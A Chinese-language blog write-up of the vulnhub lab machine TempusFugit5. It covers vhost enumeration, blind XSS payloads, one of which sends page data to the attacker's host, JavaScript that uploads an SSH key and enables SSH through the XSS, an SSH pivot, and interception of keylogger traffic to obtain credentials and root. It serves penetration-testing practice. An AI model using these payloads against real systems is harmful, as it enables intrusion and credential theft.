Mobile wallpaper 1Mobile wallpaper 2Mobile wallpaper 3Mobile wallpaper 4Mobile wallpaper 5
1757 字
9 分钟
vulnhub靶机-TempusFugit5(盲打XSS+跳板技术+键盘记录拦截)

vulnhub靶机-TempusFugit5(盲打XSS+跳板技术+键盘记录拦截)#

声明#

  1. 本文为个人跟随b站up主红队笔记学习vulnhub的TempusFugit5靶机的复现通关记录,旨在分享靶机和记录学习心得体会,讲解若有谬误之处欢迎指正。
  2. 该靶机下载地址为’https://www.vulnhub.com/entry/tempus-fugit-52,433/’
  3. 说点闲话,前些日子参加了点小比赛玩(决赛的靶机甚至有俩打过?话说这种给压缩包的比赛感觉可以单用户进去拿flag?)和渗透项目(接触真实环境感觉学习之路任重道远啊),再赶上期末周比较忙,因此有一个月没怎么写博客了,刚好看到红笔更新了视频,并且学校期末月最艰难的时候基本过去了,跟着学习了下红笔推荐的靶机,写了此篇记录,后续可能考虑写一些学习红队防御规避技术的博客。

前期渗透#

  1. 先用nmap进行主机发现,靶机IP为192.168.111.139,端口仅开放80端口,访问是nginx页面,发现一个信息admin@mofo.org,该IP可能托管了mofo.org域名的多个虚拟主机,尝试将域名写入hosts文件。
  2. 尝试枚举子域名gobuster vhost -u http://192.168.111.139 --domain mofo.org --append-domain -w /opt/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -a 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36 Edg/149.0.0.0' -H 'Accept-Language: zh-CN' -t 50,其中,vhost为虚拟主机枚举模式,用于通过 HTTP Host 头 探测同一IP上绑定的不同域名/子域名,参数根据需要调整,让流量更隐蔽。
  3. 将爆破的子域名一同写入hosts文件,后续进行访问。
  4. admin.mofo.org无法访问,snap.mofo.org可访问,表示是一个快照系统,以及www.mofo.org。
  5. 搜集信息发现CMS平台介绍页。
  6. snap页面似乎可以输入url,尝试一下不可访问的admin.mofo.org。
  7. 以下显示admin.mofo.org的四个页面,有着启用ssh和上传密钥的功能,暴露用户连接信息和日志。
  8. 在snap网站的support页面,存在上传反馈的表单,尝试输入抓包看一下有没有攻击面。
  9. 对几个参数进行测试,修改_csrf参数仍然可以提交成功,在几处位置尝试通过引入img标签访问外链,kali中开启php服务器等待访问,发现在_csrf参数修改后,标签被成功渲染并且向外链请求。
  10. 尝试使用<img src=x onerror="new Image().src='http://192.168.111.131:81/owo3?u='+encodeURIComponent(location.href)">,这样不需要插入DOM,并且证明了js代码可执行性,我们可以进一步构建xss攻击载荷。
  11. 使用ssh-keygen生成一对密钥,这里指定-C可以隐藏密钥的用户名和主机名(如段末root@kali),适度降低信息泄露面。
  12. 使用如下js代码包裹公钥,替换第十步onerror中的内容,再次通过snap查看admin页面确定上传成功。
var xhr = new XMLHttpRequest();
var fd = new FormData();
var sshKeyContent = 'your_key_here';
var fileBlob = new Blob([sshKeyContent], { type: 'application/octet-stream' });
fd.append('file', fileBlob, 'id_rsa.pub');
fd.append('Submit', 'Submit');
xhr.open('POST', 'http://admin.mofo.org/key', false);
xhr.send(fd);

13. 同理参考以下js代码,用于开启ssh。

<img src=x onerror="var xhr = new XMLHttpRequest(); xhr.open('POST', 'http://admin.mofo.org/', false); xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded'); xhr.send('Submit=Enable+SSH');">

14. 重新扫描,开放了ssh端口在2222端口(这里可以详细扫描发现确实是openssh服务)。 15. interactive logins are disabled on this stepping说明登陆的是一个跳板机,我们需要借助跳板技术连接到可登录的机器,这里想到前面的admin.mofo.org/staff中暴露连接ip为192.168.150.1,尝试该地址。 16. ssh -o ProxyCommand="ssh -i /home/kali/Desktop/download/id-rsa -W %h:%p -p 2222 ctorres@192.168.111.139" -i /home/kali/Desktop/download/id-rsa ctorres@192.168.150.1连接到目标机器。

提权部分#

  1. 阅读一些信件,了解到一些矛盾冲突背景,Clee投毒行为,发现了pass.mofo.org被植入键盘监听代码,回传到192.168.150.1:4444。
  2. 用python3开启http.server劫持流量,执行python3 -m http.server --bind 192.168.150.1 4444 2>&1 | tee kelog记录每一个到达192.168.150.1:4444的HTTP请求日志,对照ascii得到字符串hjanusisHi5CmhKNl9Tr0vVB,可能是凭据。
  3. 断开连接修改成如图指令,将pass.mofo.org的80端口映射到admin.mofo.org的81端口。
  4. 尝试把凭据分割,如图成功登录该页面,在管理页面发现root密码>,sdrXCaNaKj
  5. su切换root,提权结束。

其它补充与收获总结#

  1. 写这篇第11步的时候,想起来之前感兴趣但是没有了解过的randomart image,遂查阅资料,段末引用了大佬的博客,有很详细的解释和直观的动图可以参考,简单原理大致是:
  • OpenSSH将公钥通过SHA256生成32字节的二进制哈希指纹,通常以Base64格式展示给人看。当需要生成可视化图像时,将Base64解码还原为原始32字节二进制数据,然后按字节逐位拆分成方向指令,从网格中心开始依次走完所有步数,最终走过的路径形成一幅由ASCII字符构成的随机图,其意义在于,把一串无法记忆的哈希字符串,转化为一张人眼可以直观识别的图形,用来快速判断两个密钥/主机是否匹配。
  • 参考链接’https://www.cnblogs.com/HUOE/p/18337028’
  1. 该靶机涉及了ssh端口转发的多种用法:
  • 动态跳板:ssh -o ProxyCommand="ssh -i <密钥> -W %h:%p -p <跳板端口> <用户>@<跳板IP>" \ -i <密钥> <用户>@<目标IP>,用于通过一个SSH服务器作为跳板,连接到最终目标机器
  • 本地端口转发:ssh -L <本地端口>:<目标IP>:<目标端口> <用户>@<跳板机>,用于将远程服务器的端口映射到本地端口,方便本地访问远程服务。
  1. 根据对该靶机配置文件的检查,使用ai按照以上步骤连接到靶机并探测后绘制了大致的网络拓扑图如下图,而通过hosts文件写入192.168.111.139 xxx.mofo.org等进行访问时,靠的是nginx根据HTTP Host头做反向代理,把一台机器上一个80端口的请求,按域名分发到Docker内网中不同容器的不同端口。这是典型的name-based virtual hosting+reverse proxy架构,可参考的nginx.conf部分相关段落如下:
server {
server_name admin.mofo.org admin;
location / {
allow 192.168.150.0/24;
deny all;
proxy_pass http://192.168.150.13:5000;
}
}

4. 对于XSS盲打部分,使用Blob构造文件上传,其中几个关键步骤如下:

  • new Blob([sshKeyContent]) 把字符串转换成二进制流
  • { type: 'application/octet-stream' } 设置 MIME 类型
  • fd.append('file', fileBlob, 'id_rsa.pub') 把假文件添加到FormData,并起一个文件名
  • xhr.send(fd) 以multipart/form-data格式发送请求,模拟真实表单上传 以上利用的成立,基于两个关键前提:一、修改_csrf参数仍可以提交成功,说明后端没有校验CSRF Token和Referer,接口可被跨站请求调用。二、XSS代码可以正常执行并发送请求,说明注入点有效且无CORS限制。在已知接口地址(http://admin.mofo.org/key)的前提下,通过XSS盲打构造文件上传攻击是完全成立的。
vulnhub靶机-TempusFugit5(盲打XSS+跳板技术+键盘记录拦截)
https://www.dxowo8.top/posts/post-33/33/
作者
Ne+N3k_O
发布于
2026-06-27
许可协议
CC BY-NC-SA 4.0

部分信息可能已经过时